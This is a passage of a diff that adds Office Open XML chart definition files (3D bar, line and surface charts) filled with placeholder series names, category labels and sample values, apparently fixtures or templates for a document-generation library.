|
<c:bar3DChart>
|
||||||
|
<c:barDir val="col"/>
|
||||||
|
<c:grouping val="standard"/>
|
||||||
|
<c:ser>
|
||||||
|
<c:idx val="0"/>
|
||||||
|
<c:order val="0"/>
|
||||||
|
<c:tx>
|
||||||
|
<c:strRef>
|
||||||
|
<c:f>Sheet1!$B$1</c:f>
|
||||||
|
<c:strCache>
|
||||||
|
<c:ptCount val="1"/>
|
||||||
|
<c:pt idx="0">
|
||||||
|
<c:v>Series 1</c:v>
|
||||||
|
</c:pt>
|
||||||
|
</c:strCache>
|
||||||
|
</c:strRef>
|
||||||
|
</c:tx>
|
||||||
|
<c:cat>
|
||||||
|
<c:strRef>
|
||||||
|
<c:f>Sheet1!$A$2:$A$5</c:f>
|
||||||
|
<c:strCache>
|
||||||
|
<c:ptCount val="4"/>
|
||||||
|
<c:pt idx="0">
|
||||||
|
<c:v>Category 1</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="1">
|
||||||
|
<c:v>Category 2</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="2">
|
||||||
|
<c:v>Category 3</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="3">
|
||||||
|
<c:v>Category 4</c:v>
|
||||||
|
</c:pt>
|
||||||
|
</c:strCache>
|
||||||
|
</c:strRef>
|
||||||
|
</c:cat>
|
||||||
|
<c:val>
|
||||||
|
<c:numRef>
|
||||||
|
<c:f>Sheet1!$B$2:$B$5</c:f>
|
||||||
|
<c:numCache>
|
||||||
|
<c:formatCode>General</c:formatCode>
|
||||||
|
<c:ptCount val="4"/>
|
||||||
|
<c:pt idx="0">
|
||||||
|
<c:v>4.3</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="1">
|
||||||
|
<c:v>2.5</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="2">
|
||||||
|
<c:v>3.5</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="3">
|
||||||
|
<c:v>4.5</c:v>
|
||||||
|
</c:pt>
|
||||||
|
</c:numCache>
|
||||||
|
</c:numRef>
|
||||||
|
</c:val>
|
||||||
|
</c:ser>
|
||||||
|
<c:ser>
|
||||||
|
<c:idx val="1"/>
|
||||||
|
<c:order val="1"/>
|
||||||
|
<c:tx>
|
||||||
|
<c:strRef>
|
||||||
|
<c:f>Sheet1!$C$1</c:f>
|
||||||
|
<c:strCache>
|
||||||
|
<c:ptCount val="1"/>
|
||||||
|
<c:pt idx="0">
|
||||||
|
<c:v>Series 2</c:v>
|
||||||
|
</c:pt>
|
||||||
|
</c:strCache>
|
||||||
|
</c:strRef>
|
||||||
|
</c:tx>
|
||||||
|
<c:cat>
|
||||||
|
<c:strRef>
|
||||||
|
<c:f>Sheet1!$A$2:$A$5</c:f>
|
||||||
|
<c:strCache>
|
||||||
|
<c:ptCount val="4"/>
|
||||||
|
<c:pt idx="0">
|
||||||
|
<c:v>Category 1</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="1">
|
||||||
|
<c:v>Category 2</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="2">
|
||||||
|
<c:v>Category 3</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="3">
|
||||||
|
<c:v>Category 4</c:v>
|
||||||
|
</c:pt>
|
||||||
|
</c:strCache>
|
||||||
|
</c:strRef>
|
||||||
|
</c:cat>
|
||||||
|
<c:val>
|
||||||
|
<c:numRef>
|
||||||
|
<c:f>Sheet1!$C$2:$C$5</c:f>
|
||||||
|
<c:numCache>
|
||||||
|
<c:formatCode>General</c:formatCode>
|
||||||
|
<c:ptCount val="4"/>
|
||||||
|
<c:pt idx="0">
|
||||||
|
<c:v>2.4</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="1">
|
||||||
|
<c:v>4.4000000000000004</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="2">
|
||||||
|
<c:v>1.8</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="3">
|
||||||
|
<c:v>2.8</c:v>
|
||||||
|
</c:pt>
|
||||||
|
</c:numCache>
|
||||||
|
</c:numRef>
|
||||||
|
</c:val>
|
||||||
|
</c:ser>
|
||||||
|
<c:ser>
|
||||||
|
<c:idx val="2"/>
|
||||||
|
<c:order val="2"/>
|
||||||
|
<c:tx>
|
||||||
|
<c:strRef>
|
||||||
|
<c:f>Sheet1!$D$1</c:f>
|
||||||
|
<c:strCache>
|
||||||
|
<c:ptCount val="1"/>
|
||||||
|
<c:pt idx="0">
|
||||||
|
<c:v>Series 3</c:v>
|
||||||
|
</c:pt>
|
||||||
|
</c:strCache>
|
||||||
|
</c:strRef>
|
||||||
|
</c:tx>
|
||||||
|
<c:cat>
|
||||||
|
<c:strRef>
|
||||||
|
<c:f>Sheet1!$A$2:$A$5</c:f>
|
||||||
|
<c:strCache>
|
||||||
|
<c:ptCount val="4"/>
|
||||||
|
<c:pt idx="0">
|
||||||
|
<c:v>Category 1</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="1">
|
||||||
|
<c:v>Category 2</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="2">
|
||||||
|
<c:v>Category 3</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="3">
|
||||||
|
<c:v>Category 4</c:v>
|
||||||
|
</c:pt>
|
||||||
|
</c:strCache>
|
||||||
|
</c:strRef>
|
||||||
|
</c:cat>
|
||||||
|
<c:val>
|
||||||
|
<c:numRef>
|
||||||
|
<c:f>Sheet1!$D$2:$D$5</c:f>
|
||||||
|
<c:numCache>
|
||||||
|
<c:formatCode>General</c:formatCode>
|
||||||
|
<c:ptCount val="4"/>
|
||||||
|
<c:pt idx="0">
|
||||||
|
<c:v>2</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="1">
|
||||||
|
<c:v>2</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="2">
|
||||||
|
<c:v>3</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="3">
|
||||||
|
<c:v>5</c:v>
|
||||||
|
</c:pt>
|
||||||
|
</c:numCache>
|
||||||
|
</c:numRef>
|
||||||
|
</c:val>
|
||||||
|
</c:ser>
|
||||||
|
<c:shape val="pyramid"/>
|
||||||
|
<c:axId val="50252800"/>
|
||||||
|
<c:axId val="50255744"/>
|
||||||
|
<c:axId val="71870208"/>
|
||||||
|
</c:bar3DChart>
|
||||||
|
<c:catAx>
|
||||||
|
<c:axId val="50252800"/>
|
||||||
|
<c:scaling>
|
||||||
|
<c:orientation val="minMax"/>
|
||||||
|
</c:scaling>
|
||||||
|
<c:axPos val="b"/>
|
||||||
|
<c:tickLblPos val="nextTo"/>
|
||||||
|
<c:crossAx val="50255744"/>
|
||||||
|
<c:crosses val="autoZero"/>
|
||||||
|
<c:auto val="1"/>
|
||||||
|
<c:lblAlgn val="ctr"/>
|
||||||
|
<c:lblOffset val="100"/>
|
||||||
|
</c:catAx>
|
||||||
|
<c:valAx>
|
||||||
|
<c:axId val="50255744"/>
|
||||||
|
<c:scaling>
|
||||||
|
<c:orientation val="minMax"/>
|
||||||
|
</c:scaling>
|
||||||
|
<c:axPos val="l"/>
|
||||||
|
<c:majorGridlines/>
|
||||||
|
<c:numFmt formatCode="General" sourceLinked="1"/>
|
||||||
|
<c:tickLblPos val="nextTo"/>
|
||||||
|
<c:crossAx val="50252800"/>
|
||||||
|
<c:crosses val="autoZero"/>
|
||||||
|
<c:crossBetween val="between"/>
|
||||||
|
</c:valAx>
|
||||||
|
<c:serAx>
|
||||||
|
<c:axId val="71870208"/>
|
||||||
|
<c:scaling>
|
||||||
|
<c:orientation val="minMax"/>
|
||||||
|
</c:scaling>
|
||||||
|
<c:axPos val="b"/>
|
||||||
|
<c:tickLblPos val="nextTo"/>
|
||||||
|
<c:crossAx val="50255744"/>
|
||||||
|
<c:crosses val="autoZero"/>
|
||||||
|
</c:serAx>
|
||||||
|
</c:plotArea>
|
||||||
|
<c:legend>
|
||||||
|
<c:legendPos val="r"/>
|
||||||
|
<c:layout/>
|
||||||
|
</c:legend>
|
||||||
|
<c:plotVisOnly val="1"/>
|
||||||
|
</c:chart>
|
||||||
|
<c:externalData r:id="rId1"/>
|
||||||
|
</c:chartSpace>
|
||||||
|
|
@ -0,0 +1,110 @@
|
||||||
|
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||||
|
<c:chartSpace xmlns:c="http://schemas.openxmlformats.org/drawingml/2006/chart" xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">
|
||||||
|
<c:lang val="en-US"/>
|
||||||
|
<c:chart>
|
||||||
|
<c:title>
|
||||||
|
<c:layout/>
|
||||||
|
</c:title>
|
||||||
|
<c:view3D>
|
||||||
|
<c:rotX val="30"/>
|
||||||
|
<c:perspective val="30"/>
|
||||||
|
</c:view3D>
|
||||||
|
<c:plotArea>
|
||||||
|
<c:layout/>
|
||||||
|
<c:bar3DChart>
|
||||||
|
<c:barDir val="bar"/>
|
||||||
|
<c:grouping val="clustered"/>
|
||||||
|
<c:ser>
|
||||||
|
<c:idx val="0"/>
|
||||||
|
<c:order val="0"/>
|
||||||
|
<c:tx>
|
||||||
|
<c:strRef>
|
||||||
|
<c:f>Sheet1!$B$1</c:f>
|
||||||
|
<c:strCache>
|
||||||
|
<c:ptCount val="1"/>
|
||||||
|
<c:pt idx="0">
|
||||||
|
<c:v>Sales</c:v>
|
||||||
|
</c:pt>
|
||||||
|
</c:strCache>
|
||||||
|
</c:strRef>
|
||||||
|
</c:tx>
|
||||||
|
<c:cat>
|
||||||
|
<c:strRef>
|
||||||
|
<c:f>Sheet1!$A$2:$A$5</c:f>
|
||||||
|
<c:strCache>
|
||||||
|
<c:ptCount val="4"/>
|
||||||
|
<c:pt idx="0">
|
||||||
|
<c:v>Sq.. 1</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="1">
|
||||||
|
<c:v>Sq.. 2</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="2">
|
||||||
|
<c:v>Sq.. 3</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="3">
|
||||||
|
<c:v>Sq.. 4</c:v>
|
||||||
|
</c:pt>
|
||||||
|
</c:strCache>
|
||||||
|
</c:strRef>
|
||||||
|
</c:cat>
|
||||||
|
<c:val>
|
||||||
|
<c:numRef>
|
||||||
|
<c:f>Sheet1!$B$2:$B$5</c:f>
|
||||||
|
<c:numCache>
|
||||||
|
<c:formatCode>General</c:formatCode>
|
||||||
|
<c:ptCount val="4"/>
|
||||||
|
<c:pt idx="0">
|
||||||
|
<c:v>8.1999999999999993</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="1">
|
||||||
|
<c:v>3.2</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="2">
|
||||||
|
<c:v>1.4</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="3">
|
||||||
|
<c:v>1.2</c:v>
|
||||||
|
</c:pt>
|
||||||
|
</c:numCache>
|
||||||
|
</c:numRef>
|
||||||
|
</c:val>
|
||||||
|
</c:ser>
|
||||||
|
<c:shape val="box"/>
|
||||||
|
<c:axId val="50777472"/>
|
||||||
|
<c:axId val="50780032"/>
|
||||||
|
<c:axId val="0"/>
|
||||||
|
</c:bar3DChart>
|
||||||
|
<c:valAx>
|
||||||
|
<c:axId val="50780032"/>
|
||||||
|
<c:scaling>
|
||||||
|
<c:orientation val="minMax"/>
|
||||||
|
</c:scaling>
|
||||||
|
<c:axPos val="b"/>
|
||||||
|
<c:majorGridlines/>
|
||||||
|
<c:numFmt formatCode="General" sourceLinked="1"/>
|
||||||
|
<c:tickLblPos val="nextTo"/>
|
||||||
|
<c:crossAx val="50777472"/>
|
||||||
|
<c:crossBetween val="between"/>
|
||||||
|
</c:valAx>
|
||||||
|
<c:catAx>
|
||||||
|
<c:axId val="50777472"/>
|
||||||
|
<c:scaling>
|
||||||
|
<c:orientation val="minMax"/>
|
||||||
|
</c:scaling>
|
||||||
|
<c:axPos val="l"/>
|
||||||
|
<c:tickLblPos val="nextTo"/>
|
||||||
|
<c:crossAx val="50780032"/>
|
||||||
|
<c:auto val="1"/>
|
||||||
|
<c:lblAlgn val="ctr"/>
|
||||||
|
<c:lblOffset val="100"/>
|
||||||
|
</c:catAx>
|
||||||
|
</c:plotArea>
|
||||||
|
<c:legend>
|
||||||
|
<c:legendPos val="r"/>
|
||||||
|
<c:layout/>
|
||||||
|
</c:legend>
|
||||||
|
<c:plotVisOnly val="1"/>
|
||||||
|
</c:chart>
|
||||||
|
<c:externalData r:id="rId1"/>
|
||||||
|
</c:chartSpace>
|
||||||
|
|
@ -0,0 +1,228 @@
|
||||||
|
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||||
|
<c:chartSpace xmlns:c="http://schemas.openxmlformats.org/drawingml/2006/chart" xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">
|
||||||
|
<c:lang val="en-US"/>
|
||||||
|
<c:chart>
|
||||||
|
<c:view3D>
|
||||||
|
<c:perspective val="30"/>
|
||||||
|
</c:view3D>
|
||||||
|
<c:plotArea>
|
||||||
|
<c:layout/>
|
||||||
|
<c:line3DChart>
|
||||||
|
<c:grouping val="standard"/>
|
||||||
|
<c:ser>
|
||||||
|
<c:idx val="0"/>
|
||||||
|
<c:order val="0"/>
|
||||||
|
<c:tx>
|
||||||
|
<c:strRef>
|
||||||
|
<c:f>Sheet1!$B$1</c:f>
|
||||||
|
<c:strCache>
|
||||||
|
<c:ptCount val="1"/>
|
||||||
|
<c:pt idx="0">
|
||||||
|
<c:v>Series 1</c:v>
|
||||||
|
</c:pt>
|
||||||
|
</c:strCache>
|
||||||
|
</c:strRef>
|
||||||
|
</c:tx>
|
||||||
|
<c:cat>
|
||||||
|
<c:strRef>
|
||||||
|
<c:f>Sheet1!$A$2:$A$5</c:f>
|
||||||
|
<c:strCache>
|
||||||
|
<c:ptCount val="4"/>
|
||||||
|
<c:pt idx="0">
|
||||||
|
<c:v>Category 1</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="1">
|
||||||
|
<c:v>Category 2</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="2">
|
||||||
|
<c:v>Category 3</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="3">
|
||||||
|
<c:v>Category 4</c:v>
|
||||||
|
</c:pt>
|
||||||
|
</c:strCache>
|
||||||
|
</c:strRef>
|
||||||
|
</c:cat>
|
||||||
|
<c:val>
|
||||||
|
<c:numRef>
|
||||||
|
<c:f>Sheet1!$B$2:$B$5</c:f>
|
||||||
|
<c:numCache>
|
||||||
|
<c:formatCode>General</c:formatCode>
|
||||||
|
<c:ptCount val="4"/>
|
||||||
|
<c:pt idx="0">
|
||||||
|
<c:v>4.3</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="1">
|
||||||
|
<c:v>2.5</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="2">
|
||||||
|
<c:v>3.5</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="3">
|
||||||
|
<c:v>4.5</c:v>
|
||||||
|
</c:pt>
|
||||||
|
</c:numCache>
|
||||||
|
</c:numRef>
|
||||||
|
</c:val>
|
||||||
|
</c:ser>
|
||||||
|
<c:ser>
|
||||||
|
<c:idx val="1"/>
|
||||||
|
<c:order val="1"/>
|
||||||
|
<c:tx>
|
||||||
|
<c:strRef>
|
||||||
|
<c:f>Sheet1!$C$1</c:f>
|
||||||
|
<c:strCache>
|
||||||
|
<c:ptCount val="1"/>
|
||||||
|
<c:pt idx="0">
|
||||||
|
<c:v>Series 2</c:v>
|
||||||
|
</c:pt>
|
||||||
|
</c:strCache>
|
||||||
|
</c:strRef>
|
||||||
|
</c:tx>
|
||||||
|
<c:cat>
|
||||||
|
<c:strRef>
|
||||||
|
<c:f>Sheet1!$A$2:$A$5</c:f>
|
||||||
|
<c:strCache>
|
||||||
|
<c:ptCount val="4"/>
|
||||||
|
<c:pt idx="0">
|
||||||
|
<c:v>Category 1</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="1">
|
||||||
|
<c:v>Category 2</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="2">
|
||||||
|
<c:v>Category 3</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="3">
|
||||||
|
<c:v>Category 4</c:v>
|
||||||
|
</c:pt>
|
||||||
|
</c:strCache>
|
||||||
|
</c:strRef>
|
||||||
|
</c:cat>
|
||||||
|
<c:val>
|
||||||
|
<c:numRef>
|
||||||
|
<c:f>Sheet1!$C$2:$C$5</c:f>
|
||||||
|
<c:numCache>
|
||||||
|
<c:formatCode>General</c:formatCode>
|
||||||
|
<c:ptCount val="4"/>
|
||||||
|
<c:pt idx="0">
|
||||||
|
<c:v>2.4</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="1">
|
||||||
|
<c:v>4.4000000000000004</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="2">
|
||||||
|
<c:v>1.8</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="3">
|
||||||
|
<c:v>2.8</c:v>
|
||||||
|
</c:pt>
|
||||||
|
</c:numCache>
|
||||||
|
</c:numRef>
|
||||||
|
</c:val>
|
||||||
|
</c:ser>
|
||||||
|
<c:ser>
|
||||||
|
<c:idx val="2"/>
|
||||||
|
<c:order val="2"/>
|
||||||
|
<c:tx>
|
||||||
|
<c:strRef>
|
||||||
|
<c:f>Sheet1!$D$1</c:f>
|
||||||
|
<c:strCache>
|
||||||
|
<c:ptCount val="1"/>
|
||||||
|
<c:pt idx="0">
|
||||||
|
<c:v>Series 3</c:v>
|
||||||
|
</c:pt>
|
||||||
|
</c:strCache>
|
||||||
|
</c:strRef>
|
||||||
|
</c:tx>
|
||||||
|
<c:cat>
|
||||||
|
<c:strRef>
|
||||||
|
<c:f>Sheet1!$A$2:$A$5</c:f>
|
||||||
|
<c:strCache>
|
||||||
|
<c:ptCount val="4"/>
|
||||||
|
<c:pt idx="0">
|
||||||
|
<c:v>Category 1</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="1">
|
||||||
|
<c:v>Category 2</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="2">
|
||||||
|
<c:v>Category 3</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="3">
|
||||||
|
<c:v>Category 4</c:v>
|
||||||
|
</c:pt>
|
||||||
|
</c:strCache>
|
||||||
|
</c:strRef>
|
||||||
|
</c:cat>
|
||||||
|
<c:val>
|
||||||
|
<c:numRef>
|
||||||
|
<c:f>Sheet1!$D$2:$D$5</c:f>
|
||||||
|
<c:numCache>
|
||||||
|
<c:formatCode>General</c:formatCode>
|
||||||
|
<c:ptCount val="4"/>
|
||||||
|
<c:pt idx="0">
|
||||||
|
<c:v>2</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="1">
|
||||||
|
<c:v>2</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="2">
|
||||||
|
<c:v>3</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="3">
|
||||||
|
<c:v>5</c:v>
|
||||||
|
</c:pt>
|
||||||
|
</c:numCache>
|
||||||
|
</c:numRef>
|
||||||
|
</c:val>
|
||||||
|
</c:ser>
|
||||||
|
<c:axId val="50940928"/>
|
||||||
|
<c:axId val="68729472"/>
|
||||||
|
<c:axId val="78014208"/>
|
||||||
|
</c:line3DChart>
|
||||||
|
<c:catAx>
|
||||||
|
<c:axId val="50940928"/>
|
||||||
|
<c:scaling>
|
||||||
|
<c:orientation val="minMax"/>
|
||||||
|
</c:scaling>
|
||||||
|
<c:axPos val="b"/>
|
||||||
|
<c:tickLblPos val="nextTo"/>
|
||||||
|
<c:crossAx val="68729472"/>
|
||||||
|
<c:crosses val="autoZero"/>
|
||||||
|
<c:auto val="1"/>
|
||||||
|
<c:lblAlgn val="ctr"/>
|
||||||
|
<c:lblOffset val="100"/>
|
||||||
|
</c:catAx>
|
||||||
|
<c:valAx>
|
||||||
|
<c:axId val="68729472"/>
|
||||||
|
<c:scaling>
|
||||||
|
<c:orientation val="minMax"/>
|
||||||
|
</c:scaling>
|
||||||
|
<c:axPos val="l"/>
|
||||||
|
<c:majorGridlines/>
|
||||||
|
<c:numFmt formatCode="General" sourceLinked="1"/>
|
||||||
|
<c:tickLblPos val="nextTo"/>
|
||||||
|
<c:crossAx val="50940928"/>
|
||||||
|
<c:crosses val="autoZero"/>
|
||||||
|
<c:crossBetween val="between"/>
|
||||||
|
</c:valAx>
|
||||||
|
<c:serAx>
|
||||||
|
<c:axId val="78014208"/>
|
||||||
|
<c:scaling>
|
||||||
|
<c:orientation val="minMax"/>
|
||||||
|
</c:scaling>
|
||||||
|
<c:axPos val="b"/>
|
||||||
|
<c:tickLblPos val="nextTo"/>
|
||||||
|
<c:crossAx val="68729472"/>
|
||||||
|
<c:crosses val="autoZero"/>
|
||||||
|
</c:serAx>
|
||||||
|
</c:plotArea>
|
||||||
|
<c:legend>
|
||||||
|
<c:legendPos val="r"/>
|
||||||
|
<c:layout/>
|
||||||
|
</c:legend>
|
||||||
|
<c:plotVisOnly val="1"/>
|
||||||
|
</c:chart>
|
||||||
|
<c:externalData r:id="rId1"/>
|
||||||
|
</c:chartSpace>
|
||||||
|
|
@ -0,0 +1,238 @@
|
||||||
|
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||||
|
<c:chartSpace xmlns:c="http://schemas.openxmlformats.org/drawingml/2006/chart" xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">
|
||||||
|
<c:lang val="en-US"/>
|
||||||
|
<c:chart>
|
||||||
|
<c:view3D>
|
||||||
|
<c:perspective val="30"/>
|
||||||
|
</c:view3D>
|
||||||
|
<c:plotArea>
|
||||||
|
<c:layout/>
|
||||||
|
<c:surface3DChart>
|
||||||
|
<c:ser>
|
||||||
|
<c:idx val="0"/>
|
||||||
|
<c:order val="0"/>
|
||||||
|
<c:tx>
|
||||||
|
<c:strRef>
|
||||||
|
<c:f>Sheet1!$B$1</c:f>
|
||||||
|
<c:strCache>
|
||||||
|
<c:ptCount val="1"/>
|
||||||
|
<c:pt idx="0">
|
||||||
|
<c:v>Series 1</c:v>
|
||||||
|
</c:pt>
|
||||||
|
</c:strCache>
|
||||||
|
</c:strRef>
|
||||||
|
</c:tx>
|
||||||
|
<c:cat>
|
||||||
|
<c:strRef>
|
||||||
|
<c:f>Sheet1!$A$2:$A$5</c:f>
|
||||||
|
<c:strCache>
|
||||||
|
<c:ptCount val="4"/>
|
||||||
|
<c:pt idx="0">
|
||||||
|
<c:v>Category 1</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="1">
|
||||||
|
<c:v>Category 2</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="2">
|
||||||
|
<c:v>Category 3</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="3">
|
||||||
|
<c:v>Category 4</c:v>
|
||||||
|
</c:pt>
|
||||||
|
</c:strCache>
|
||||||
|
</c:strRef>
|
||||||
|
</c:cat>
|
||||||
|
<c:val>
|
||||||
|
<c:numRef>
|
||||||
|
<c:f>Sheet1!$B$2:$B$5</c:f>
|
||||||
|
<c:numCache>
|
||||||
|
<c:formatCode>General</c:formatCode>
|
||||||
|
<c:ptCount val="4"/>
|
||||||
|
<c:pt idx="0">
|
||||||
|
<c:v>4.3</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="1">
|
||||||
|
<c:v>2.5</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="2">
|
||||||
|
<c:v>3.5</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="3">
|
||||||
|
<c:v>4.5</c:v>
|
||||||
|
</c:pt>
|
||||||
|
</c:numCache>
|
||||||
|
</c:numRef>
|
||||||
|
</c:val>
|
||||||
|
</c:ser>
|
||||||
|
<c:ser>
|
||||||
|
<c:idx val="1"/>
|
||||||
|
<c:order val="1"/>
|
||||||
|
<c:tx>
|
||||||
|
<c:strRef>
|
||||||
|
<c:f>Sheet1!$C$1</c:f>
|
||||||
|
<c:strCache>
|
||||||
|
<c:ptCount val="1"/>
|
||||||
|
<c:pt idx="0">
|
||||||
|
<c:v>Series 2</c:v>
|
||||||
|
</c:pt>
|
||||||
|
</c:strCache>
|
||||||
|
</c:strRef>
|
||||||
|
</c:tx>
|
||||||
|
<c:cat>
|
||||||
|
<c:strRef>
|
||||||
|
<c:f>Sheet1!$A$2:$A$5</c:f>
|
||||||
|
<c:strCache>
|
||||||
|
<c:ptCount val="4"/>
|
||||||
|
<c:pt idx="0">
|
||||||
|
<c:v>Category 1</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="1">
|
||||||
|
<c:v>Category 2</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="2">
|
||||||
|
<c:v>Category 3</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="3">
|
||||||
|
<c:v>Category 4</c:v>
|
||||||
|
</c:pt>
|
||||||
|
</c:strCache>
|
||||||
|
</c:strRef>
|
||||||
|
</c:cat>
|
||||||
|
<c:val>
|
||||||
|
<c:numRef>
|
||||||
|
<c:f>Sheet1!$C$2:$C$5</c:f>
|
||||||
|
<c:numCache>
|
||||||
|
<c:formatCode>General</c:formatCode>
|
||||||
|
<c:ptCount val="4"/>
|
||||||
|
<c:pt idx="0">
|
||||||
|
<c:v>2.4</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="1">
|
||||||
|
<c:v>4.4000000000000004</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="2">
|
||||||
|
<c:v>1.8</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="3">
|
||||||
|
<c:v>2.8</c:v>
|
||||||
|
</c:pt>
|
||||||
|
</c:numCache>
|
||||||
|
</c:numRef>
|
||||||
|
</c:val>
|
||||||
|
</c:ser>
|
||||||
|
<c:ser>
|
||||||
|
<c:idx val="2"/>
|
||||||
|
<c:order val="2"/>
|
||||||
|
<c:tx>
|
||||||
|
<c:strRef>
|
||||||
|
<c:f>Sheet1!$D$1</c:f>
|
||||||
|
<c:strCache>
|
||||||
|
<c:ptCount val="1"/>
|
||||||
|
<c:pt idx="0">
|
||||||
|
<c:v>Series 3</c:v>
|
||||||
|
</c:pt>
|
||||||
|
</c:strCache>
|
||||||
|
</c:strRef>
|
||||||
|
</c:tx>
|
||||||
|
<c:cat>
|
||||||
|
<c:strRef>
|
||||||
|
<c:f>Sheet1!$A$2:$A$5</c:f>
|
||||||
|
<c:strCache>
|
||||||
|
<c:ptCount val="4"/>
|
||||||
|
<c:pt idx="0">
|
||||||
|
<c:v>Category 1</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="1">
|
||||||
|
<c:v>Category 2</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="2">
|
||||||
|
<c:v>Category 3</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="3">
|
||||||
|
<c:v>Category 4</c:v>
|
||||||
|
</c:pt>
|
||||||
|
</c:strCache>
|
||||||
|
</c:strRef>
|
||||||
|
</c:cat>
|
||||||
|
<c:val>
|
||||||
|
<c:numRef>
|
||||||
|
<c:f>Sheet1!$D$2:$D$5</c:f>
|
||||||
|
<c:numCache>
|
||||||
|
<c:formatCode>General</c:formatCode>
|
||||||
|
<c:ptCount val="4"/>
|
||||||
|
<c:pt idx="0">
|
||||||
|
<c:v>2</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="1">
|
||||||
|
<c:v>2</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="2">
|
||||||
|
<c:v>3</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="3">
|
||||||
|
<c:v>5</c:v>
|
||||||
|
</c:pt>
|
||||||
|
</c:numCache>
|
||||||
|
</c:numRef>
|
||||||
|
</c:val>
|
||||||
|
</c:ser>
|
||||||
|
<c:bandFmts/>
|
||||||
|
<c:axId val="59304576"/>
|
||||||
|
<c:axId val="68746240"/>
|
||||||
|
<c:axId val="59572224"/>
|
||||||
|
</c:surface3DChart>
|
||||||
|
<c:catAx>
|
||||||
|
<c:axId val="59304576"/>
|
||||||
|
<c:scaling>
|
||||||
|
<c:orientation val="minMax"/>
|
||||||
|
</c:scaling>
|
||||||
|
<c:axPos val="b"/>
|
||||||
|
<c:tickLblPos val="nextTo"/>
|
||||||
|
<c:crossAx val="68746240"/>
|
||||||
|
<c:crosses val="autoZero"/>
|
||||||
|
<c:auto val="1"/>
|
||||||
|
<c:lblAlgn val="ctr"/>
|
||||||
|
<c:lblOffset val="100"/>
|
||||||
|
</c:catAx>
|
||||||
|
<c:valAx>
|
||||||
|
<c:axId val="68746240"/>
|
||||||
|
<c:scaling>
|
||||||
|
<c:orientation val="minMax"/>
|
||||||
|
</c:scaling>
|
||||||
|
<c:axPos val="l"/>
|
||||||
|
<c:majorGridlines/>
|
||||||
|
